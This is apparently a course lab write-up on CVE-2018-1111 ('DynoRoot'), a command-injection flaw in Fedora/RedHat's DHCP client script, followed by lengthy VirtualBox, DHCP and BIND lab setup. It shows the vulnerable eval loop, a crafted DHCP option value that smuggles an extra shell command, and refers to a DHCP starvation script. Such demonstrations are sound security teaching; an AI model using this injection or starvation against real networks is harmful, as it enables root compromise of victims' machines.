This project demonstrates a known vulnerability of Fedora and RedHat machines related to an unsafe client-side implementation of the Dynamic Host Configuration Protocol (DHCP). A rogue DHCP server can craft DHCP offers with a malicious payload that gets executed in a root shell on the victim machine.
The vulnerability is credited to Felix Wilhelm and is known as CVE-2018-1111 or "DynoRoot".
The Dynamic Host Configuration Protocol (DHCP) is an often-overlooked component in networked systems. Its role is to allow the dynamic configuration of hosts machines that connect to an existing network. The most common use case is to assign an IP address to newly-connected hosts and to inform it of existing routes to access other networks. Additional options can be specified, for example the address of a local DNS server and the zone it serves, or the location of a boot file.
Let's analyze the 4-way protocol that is followed when a new host wants to join a network after connecting to it physically by means of an ethernet or wireless connection.
DISCOVER message to the network.OFFER, containing: IP address, network
submask, router address, and other options.REQUEST, officially requesting to lease the IP address that was
offeredACK, indicating that the client is allowed to use the
IP address for a specified amount of time.After the initial exchange, the client can renew the lease by simply sending another REQUEST message. The server will check the existence of a lease with the client's IP and MAC address and reply with an ACK.
Some things to note:
DISCOVER phase and immediately REQUEST an address. This is common
in scenarios in which the client already connected to the network in the past and remembers the
previous address. In this case, the server verifies the availability of the address and ACKs the request, or, in case the lease is not available, sends a NACK.RELEASE message to inform the server that the address is
now available. However, this is not mandated by the protocol and the server will periodically
recollect expired leases.OFFER leases to new clientsOFFERs it
will only accept one, the other servers will observe the broadcasted REQUEST and invalidate the
offer.The vulnerability is located in /etc/NetworkManager/dispatcher.d/11-dhclient, which is executed
by the client to parse and set the options received over DHCP.
declare is a bash builtin that when used without arguments lists all declared variablesgrep filters all DHCP-related variableswhile read opt iterated over the DHCP variables one by one, performs some parsing and
prints a line like export new_optionname=value for each option<!-- omit in toc -->
#### 常规操作
在正常情况下,代码可以正常工作并解析新的 DHCP 选项。
例如,以下代码:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
将打印这两个 export 语句,供 eval 评估:```bash
export new_option_one=42
export new_option_two='bla bla'
<!-- omit in toc -->
#### 代码注入
然而,由于不安全的 `eval`,可以注入 bash 命令:```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
将导致执行 echo Hacked!:```text
[1] 1541
Hacked!
### Sources
- [Exploit 数据库条目](https://www.exploit-db.com/exploits/44890)
- [RedHat 公告](https://access.redhat.com/security/vulnerabilities/3442151)
- [Tenable 博客文章](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [GitHub 仓库](https://github.com/kkirsche/CVE-2018-1111)
- [Twitter 公告](https://twitter.com/_fel1x/status/996388421273882626?lang=en)
## 环境搭建
演示该漏洞所需的最简环境仅需两台机器:一台运行 Fedora 28 的 `victim` 机器,以及一台 `attacker` 机器。在此环境中,攻击者只需提供 DHCP 服务并等待受害者连接即可。
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
<figcaption>最简漏洞利用环境。</figcaption>
</figure>
更接近实际的场景是将这些机器放在一个私有网络中,其中第三台机器 `gateway` 被配置为良性 DHCP 服务器,同时充当通往外部互联网的网关。在此场景下,攻击者必须先阻止受害者连接到合法的 DHCP 服务器,然后才有机会实施攻击。
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
<figcaption>私有网络场景:一台网关机器同时充当 DHCP、路由器和防火墙。</figcaption>
</figure>
在以下章节中,我们将:
1. 安装 VirtualBox
2. 创建 3 台虚拟机:`gateway`、`attacker` 和 `victim`
3. 在机器上安装操作系统(用户、网络和 SSH 访问)
4. 配置网关,使其为 VirtualBox 提供的虚拟内部网络托管良性 DHCP 服务器
5. 安装攻击所需的 Python 依赖
若要[直接开始操作](#performing-the-attack)并跳过手动设置,可以运行 `ansible` 文件夹中的 [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) 脚本,它将(几乎)自动创建虚拟机并使用 [Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html) 对其进行配置。只需确保在运行 `setup.sh` 之前已安装 Ansible 和 VirtualBox。
### 准备工作
#### 安装 VirtualBox
以下说明来自[官方安装指南](https://www.virtualbox.org/wiki/Downloads)。
将以下行添加到 `/etc/apt/sources.list`:```bash
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib
安装 virtualbox 和扩展包:```bash wget -q 'https://www.virtualbox.org/download/oracle_vbox_2016.asc' -O- | sudo apt-key add - wget -q 'https://www.virtualbox.org/download/oracle_vbox.asc' -O- | sudo apt-key add -
sudo apt-get update sudo apt-get -y install gcc make linux-headers-$(uname -r) dkms virtualbox-6.1
wget 'https://download.virtualbox.org/virtualbox/6.1.16/Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack' sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack VBoxManage list extpacks
#### 安装 Ansible(可选)
来自 [Ubuntu 官方指南](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu):```bash
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible
在本节中,我们将创建用于登录机器的 SSH 凭据。 在 SSH 配置文件中添加主机条目可以让我们稍后省去一些输入。
创建一个不带口令的 SSH 密钥:```bash ssh-keygen -f ~/.ssh/ethhack -t ed25519 -N ''
将这些条目添加到 SSH 配置 (`~/.ssh/config`):```
Host gateway.ethhack
Port 6001
User gateway
Host victim.ethhack
Port 6002
User victim
Host attacker.ethhack
Port 6003
User attacker
Host *.ethhack
LogLevel ERROR
HostName localhost
IdentityFile ~/.ssh/ethhack
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
该机器托管良性的DHCP服务器,负责管理内部网络上的地址池。 它基于 Ubuntu Server 18.04,并使用 ISC DHCP 软件包。
在真实场景中,该机器还将充当路由器(iptables) 和防火墙(UFW Uncomplicated Firewall),位于网络上的机器与 外部世界之间。它也可能为某些内部服务托管DNS服务器 (BIND9)。
我们将使用VirtualBox的命令行工具创建虚拟机,以便该过程 可以尽可能快速地重复。否则,也可以通过图形界面输入相同配置 来创建虚拟机。
下载Ubuntu ISO:```bash wget 'https://ftp.lysator.liu.se/ubuntu-releases/18.04.5/ubuntu-18.04.5-live-server-amd64.iso' md5sum --check << EOF fcd77cd8aa585da4061655045f3f0511 ubuntu-18.04.5-live-server-amd64.iso EOF
创建虚拟机:
- 网络接口 1 连接到 VirtualBox 的默认 NAT 网络
- 网络接口 2 连接到 `intnet` 内部网络\
(MAC 地址中的 "d" 代表 DHCP)
- 将主机上的 `600x` 端口转发到虚拟机中的 SSH 端口```bash
VM_NAME="gateway"
VRDE_PORT=5001
SSH_PORT=6001
VM_MAC='08:00:dd:dd:dd:dd'
VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
如果出现问题:```bash VBoxManage unregistervm "${VM_NAME}" --delete
#### 操作系统安装
首次启动机器时,我们需要一个虚拟桌面来按照安装步骤进行操作。
我们可以以无头模式启动虚拟机,并使用 `rdesktop-vrdp` 进行连接。如果 VirtualBox 运行在
桌面计算机上,通过 GUI 启动虚拟机可能更容易,但这种方法
即使在远程 VirtualBox 主机上也能正常工作。```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
安装程序的配置参数:
gatewaygatewaygat192.168.0.1,接口 enp0s8
/>
安装截图:网络配置。
安装截图:创建用户。
安装完成后,关机,移除 ISO 并禁用 VRDE:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### SSH 登录
为方便访问,我们可以将上面创建的 SSH 密钥安装到 `gateway` 机器中:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
ssh gateway.ethhack
如果由于某种原因,在安装过程中未配置 enp0s8 网络接口,
请将此配置写入 /etc/netplan/00-installer-config.yaml:```yaml
network:
version: 2
ethernets:
enp0s3:
dhcp4: yes
enp0s8:
dhcp4: no
addresses :
- 192.168.0.1/24
并更新网络配置:```
sudo netplan apply
ip addr show dev enp0s8
安装 ISC DHCP:```bash sudo apt install -y isc-dhcp-server
要在内部接口上启用 DHCP,让我们编辑 `/etc/default/isc-dhcp-server`:```bash
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
由 DHCP 管理的地址池配置位于 /etc/dhcp/dhcpd.conf:```
authoritative;
default-lease-time 60; max-lease-time 7200;
subnet 192.168.0.0 netmask 255.255.255.0 { range 192.168.0.100 192.168.0.105; }
选择的默认租约时间为1分钟相当低,但这对演示目的很有用。
<!--```bash
echo '
authoritative;
default-lease-time 60;
max-lease-time 7200;
subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.100 192.168.0.105;
option domain-name-servers 192.168.0.53;
option domain-name "100waystocook.pizza.";
}
' | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
sudo systemctl restart isc-dhcp-server
-->
重启服务:```bash sudo systemctl restart isc-dhcp-server
DHCP 事件记录在 `/var/log/syslog` 中。
我们可以通过以下方式突出显示相关条目:```bash
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
如果在安装其他机器时保持 gateway 开启,
它们会自动获取 DHCP 配置。
sudo apt-get install -y bind9 bind9utils bind9-doc sudo sed 's/OPTIONS="-u bind"/OPTIONS="-u bind -4"/' -i /etc/default/bind9 sudo systemctl restart bind9
编辑 `/etc/bind/named.conf.options`:```bash
echo '
options {
directory "/var/cache/bind";
allow-query { any; };
recursion no;
listen-on { 192.168.0.53; };
};
' | sudo tee /etc/bind/named.conf.options > /dev/null
编辑 /etc/bind/named.conf.local:```bash
echo '
zone "100waystocook.pizza" { type master; file "/etc/bind/zones/db.100waystocook.pizza"; };
zone "0.168.192.in-addr.arpa" { type master; file "/etc/bind/zones/db.192.168.0"; }; ' | sudo tee /etc/bind/named.conf.local > /dev/null
在 bind 只读的文件夹中创建正向和反向区域文件:```bash
sudo install -o root -g bind -m 755 -d /etc/bind/zones
echo '
$TTL 86400 ; Clients will cache DNS responses for 1 day
@ IN SOA dns.100waystocook.pizza. admin.100waystocook.pizza. (
3 ; Serial
604800 ; Refresh (1 week)
86400 ; Retry (1 day)
2419200 ; Expire (4 weeks)
604800 ; Negative Cache TTL (4 weeks)
) ; The values above are only relevant for secondary DNS servers
; name servers
@ IN NS dns.100waystocook.pizza.
; 192.168.0.0/24
dns IN A 192.168.0.53
server IN A 192.168.0.1
www IN CNAME server
mongo IN CNAME server
' | sudo tee /etc/bind/zones/db.100waystocook.pizza > /dev/null
echo '
$TTL 604800
@ IN SOA dns.100waystocook.pizza. admin.100waystocook.pizza. (
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
; name servers
@ IN NS dns.100waystocook.pizza.
; PTR Records
1 IN PTR server.100waystocook.pizza. ; 192.168.0.1
53 IN PTR dns.100waystocook.pizza. ; 192.168.0.53
' | sudo tee /etc/bind/zones/db.192.168.0 > /dev/null
运行检查并重启:```bash sudo named-checkconf sudo named-checkzone 100waystocook.pizza /etc/bind/zones/db.100waystocook.pizza sudo named-checkzone 0.168.192.in-addr.arpa /etc/bind/zones/db.192.168.0
sudo systemctl restart bind9
检查其是否正常工作```bash
dig www.100waystocook.pizza
nslookup www.100waystocook.pizza
systemd-resolve www.100waystocook.pizza
为 DNS 更新创建对称密钥:```bash KEY_NAME='ddns-key.100waystocook.pizza' KEY_FILE_BIND="${KEY_NAME}.key"
KEY_FILE="$(dnssec-keygen -a HMAC-SHA512 -b 512 -r /dev/urandom -n USER "${KEY_NAME}")" KEY_FILE_KEY="${KEY_FILE}.key" KEY_FILE_PRI="${KEY_FILE}.private" unset KEY_FILE
KEY_SECRET="$(cut -f7- -d ' ' "${KEY_FILE_KEY}")"
cat > "${KEY_FILE_BIND}" << EOF key "${KEY_NAME}" { algorithm HMAC-SHA512; secret "${KEY_SECRET}"; }; EOF
sudo install --owner root --group bind --mode 0640 "${KEY_FILE_BIND}" /etc/bind/ rm "${KEY_FILE_BIND}"
在 `/etc/bind/named.conf.local` 中包含密钥:```bash
echo "
include '/etc/bind/${KEY_FILE_BIND}';
# Forward zone for 100waystocook.pizza
zone '100waystocook.pizza' {
type master;
file '/var/lib/bind/zones-dyn/db.100waystocook.pizza';
notify no;
# grant whoever owns the key the permission to update
# the A and TXT records for server.100waystocook.pizza.
update-policy {
grant ${KEY_NAME} name server.100waystocook.pizza. A TXT;
};
};
# Reverse zone for 192.168.0.0/24
zone '0.168.192.in-addr.arpa' {
type master;
file '/var/lib/bind/zones-dyn/db.192.168.0';
notify no;
# grant whoever owns the key the permission to update
# the PTR record for IPs in within the reverse zone
update-policy {
grant ${KEY_NAME} zonesub PTR;
};
};
" | tr \' \" | sudo tee /etc/bind/named.conf.local > /dev/null
将原始区域文件复制到 bind 可写入的文件夹,删除 server 记录:```bash
sudo install -o root -g bind -m 775 -d /var/lib/bind/zones-dyn
sudo install -o root -g bind -m 664 /etc/bind/zones/db.100waystocook.pizza /var/lib/bind/zones-dyn sudo sed '/^server/d' -i /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo install -o root -g bind -m 664 /etc/bind/zones/db.192.168.0 /var/lib/bind/zones-dyn sudo sed '/server.100waystocook.pizza/d' -i /var/lib/bind/zones-dyn/db.192.168.0
运行检查并重启:```bash
sudo named-checkconf
sudo named-checkzone 100waystocook.pizza /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo named-checkzone 0.168.192.in-addr.arpa /var/lib/bind/zones-dyn/db.192.168.0
sudo systemctl restart bind9
通过手动更新 DNS 条目来检查其是否正常工作。
在执行以下操作时,请留意 tail -f /var/log/syslog 是否有错误。
最后,删除新增条目,否则 DHCP 更新将失败:```bash
TTL=60
NEW_NAME='server'
NEW_IP='99'
systemd-resolve "${NEW_NAME}.100waystocook.pizza"
nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.
zone 100waystocook.pizza. update add ${NEW_NAME}.100waystocook.pizza. ${TTL} IN A 192.168.0.${NEW_IP}
zone 0.168.192.in-addr.arpa update add ${NEW_IP}.0.168.192.in-addr.arpa ${TTL} IN PTR ${NEW_NAME}.100waystocook.pizza.
send EOF
sudo systemd-resolve --flush-caches systemd-resolve "${NEW_NAME}.100waystocook.pizza" dig +short -x "192.168.0.${NEW_IP}"
nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.
zone 100waystocook.pizza. update delete ${NEW_NAME}.100waystocook.pizza. IN A
zone 0.168.192.in-addr.arpa update delete ${NEW_IP}.0.168.192.in-addr.arpa IN PTR
send EOF
##### DHCP 配置
配置 DHCP 以自动更新 DNS 条目:```bash
KEY_FILE_DHCP="${KEY_NAME}.key"
# Note: no " in key file
cat > "${KEY_FILE_DHCP}" << EOF
key ${KEY_NAME} {
algorithm HMAC-SHA512;
secret ${KEY_SECRET};
};
EOF
sudo install --owner root --group root --mode 0640 "${KEY_FILE_DHCP}" /etc/dhcp/ddns-keys/
rm "${KEY_FILE_DHCP}"
echo "
authoritative;
# https://kb.isc.org/docs/isc-dhcp-44-manual-pages-dhcpdconf
ddns-updates on;
ddns-update-style interim;
ddns-domainname '100waystocook.pizza.';
ddns-rev-domainname '0.168.192.in-addr.arpa.';
update-conflict-detection on;
ddns-guard-id-must-match;
ignore client-updates;
default-lease-time 120;
max-lease-time 7200;
include '/etc/dhcp/ddns-keys/${KEY_FILE_DHCP}';
zone 100waystocook.pizza. {
primary dns.100waystocook.pizza. ;
key ${KEY_NAME} ;
}
zone 0.168.192.in-addr.arpa. {
primary dns.100waystocook.pizza. ;
key ${KEY_NAME} ;
}
subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.1 192.168.0.20;
option domain-name-servers 192.168.0.53;
option domain-name '100waystocook.pizza.';
}
" | tr \' \" | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
sudo systemctl restart isc-dhcp-server
可以使用 sudo dhcpd -t 检查 DHCP 配置。
当主机名为 server 的机器启动时,/var/log/syslog 应如下所示:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:ca:ff:df via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.3 (192.168.0.53) from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' A 192.168.0.3 named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' TXT "31c8ab6283bcc3f723245ceab58eb496f0" dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.3 named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': adding an RR at '3.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza. dhcpd[1366]: Added reverse map from 3.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.
dhcpd[1366]: DHCPREQUEST for 192.168.0.3 from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8
当另一台主机名为 `fedora` 的机器启动时,它会获得一个 IP,但由于 `update-policy` 的原因,它不会被添加到 DNS 中:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.6 (192.168.0.53) from 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#42609/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
update failed: rejected by secure update (REFUSED)
dhcpd[1366]: Unable to add forward map from fedora.100waystocook.pizza. to 192.168.0.6: REFUSED
问题是,DHCP 会将任何主机名为 server 的机器注册到 DNS,
只要它是第一台。如果攻击者尝试通过 DHCP 使用重复的 server
主机名进行连接,DHCP 会注意到并拒绝更新 DNS。```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#34663/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza: 'name not in use' prerequisite not satisfied (YXDOMAIN) named[1283]: client @0x7fef30057320 192.168.0.53#39143/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza/TXT: 'RRset exists (value dependent)' prerequisite not satisfied (NXRRSET) dhcpd[1366]: Forward map from server.100waystocook.pizza. to 192.168.0.2 FAILED: Has an address record but no DHCID, not mine.
但如果合法的 `server` 宕机一段时间,其租约会被释放,相关记录也会被移除。
那么攻击者只需在初始 DHCP 交换过程中提供 `server` 作为主机名,
即可轻松潜入。```
# DHCP removes DNS records
named[1283]: client @0x7fef30041e40 192.168.0.53#43939/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza A
dhcpd[1366]: Removed forward map from server.100waystocook.pizza. to 192.168.0.3
named[1283]: client @0x7fef30057320 192.168.0.53#46231/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza TXT
named[1283]: client @0x7fef30041e40 192.168.0.53#54069/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR
dhcpd[1366]: Removed reverse map on 3.0.168.192.0.168.192.in-addr.arpa.
# Attacker gets and IP and a DNS entry
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
adding an RR at 'server.100waystocook.pizza' A 192.168.0.2
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
adding an RR at 'server.100waystocook.pizza' TXT "319dc6047844ea45fdc56373d08413401e"
dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.2
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN':
deleting rrset at '2.0.168.192.0.168.192.in-addr.arpa' PTR
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN':
adding an RR at '2.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza.
dhcpd[1366]: Added reverse map from 2.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.
-->
攻击者机器没有特殊要求,只需在 Conda 环境中运行 Python。 为简单起见,我们可以复用 Ubuntu Server 18.04 的 ISO。
创建虚拟机:
intnet 内部网络600x 端口进行端口转发,指向虚拟机中的 SSH 端口```bash
VM_NAME="attacker"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:aa:aa:aa:aa'VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}"
--memory 2048
--acpi on
--boot1 dvd
--nic1 nat
--nic2 'intnet'
--macaddress2 "${VM_MAC//:/}"
--natpf1 "guestssh,tcp,,${SSH_PORT},,22"
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 0
--type hdd
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
#### OS 安装
首次启动机器时,我们需要一个虚拟桌面来跟随安装步骤。我们
可以以无头模式启动虚拟机,并使用 `rdesktop-vrdp` 进行连接。如果 VirtualBox 运行在桌面计算机上,从 GUI 启动虚拟机可能会更容易,但
此方法同样适用于远程 VirtualBox 主机。```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
安装程序的配置参数:
attackerattackerattenp0s8 设置为使用 DHCP
安装截图:创建用户。
安装完成后,关闭虚拟机,移除 ISO 并禁用 VRDE:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### SSH 登录
为了方便访问,我们可以将上面创建的 SSH 密钥安装到 `attacker` 机器中:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub attacker.ethhack
ssh attacker.ethhack
Python 攻击脚本需要以 root 身份运行,才能构造底层网络数据包
并使用 Scapy。
为简单起见,我们将使用 root 用户安装所有依赖。
Conda 环境 使用 Scapy:```bash sudo su cd wget 'https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh' chmod u+x Miniconda3-latest-Linux-x86_64.sh ./Miniconda3-latest-Linux-x86_64.sh -b -p ./miniconda ./miniconda/bin/conda init source .bashrc
conda create -y -n dynoroot python=3.6 conda activate dynoroot pip install 'scapy[complete]'
接下来,我们将从 GitHub 获取两个攻击脚本:
- **DHCP starvation**\
该脚本将用伪造的请求淹没良性 DHCP,
耗尽可用的地址池。 ```bash
git clone 'https://github.com/baldassarreFe/FEP3370-advanced-ethical-hacking'
受害机器没有进行任何特殊配置,它只是一个 Fedora 28 安装,带有存在漏洞的 NetworkManager。
下载 Fedora ISO:```bash wget 'https://archives.fedoraproject.org/pub/archive/fedora/linux/releases/28/Server/x86_64/iso/Fedora-Server-dvd-x86_64-28-1.1.iso' md5sum --check << EOF 18740b445159c54d10bd887650e8d1d7 Fedora-Server-dvd-x86_64-28-1.1.iso EOF
创建虚拟机:
- 网络接口 1 连接到 VirtualBox 的默认 NAT 网络
- 网络接口 2 连接到 `intnet` 内部网络\
(MAC 地址中的 "f" 代表 Fedora)
- 将主机的 `600x` 端口转发到虚拟机中的 SSH 端口```bash
VM_NAME="fedora"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:ff:ff:ff:ff'
VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"
如果出现问题:```bash VBoxManage unregistervm "${VM_NAME}" --delete
#### 操作系统安装
第一次启动机器时,我们需要一个虚拟桌面来跟随安装步骤。我们
可以以无头模式启动虚拟机,并使用 `rdesktop-vrdp` 进行连接。如果 VirtualBox 在
桌面计算机上运行,通过 GUI 启动虚拟机可能更容易,但
这种方法即使对于远程 VirtualBox 主机也能正常工作。```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 12 # Fedora is slow...
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Install config:
fedoravictimvicenp0s8 设置为使用 DHCP
安装截图:网络配置。
安装截图:用户创建。
安装完成后,关闭系统,移除 iso 并禁用 VRDE:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### SSH 登录
为方便访问,我们可以将上面创建的 SSH 密钥安装到 `victim` 机器中:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
ssh victim.ethhack
检查接口 enp0s8 是否使用 DHCP:```bash
sudo nmcli device show enp0s8
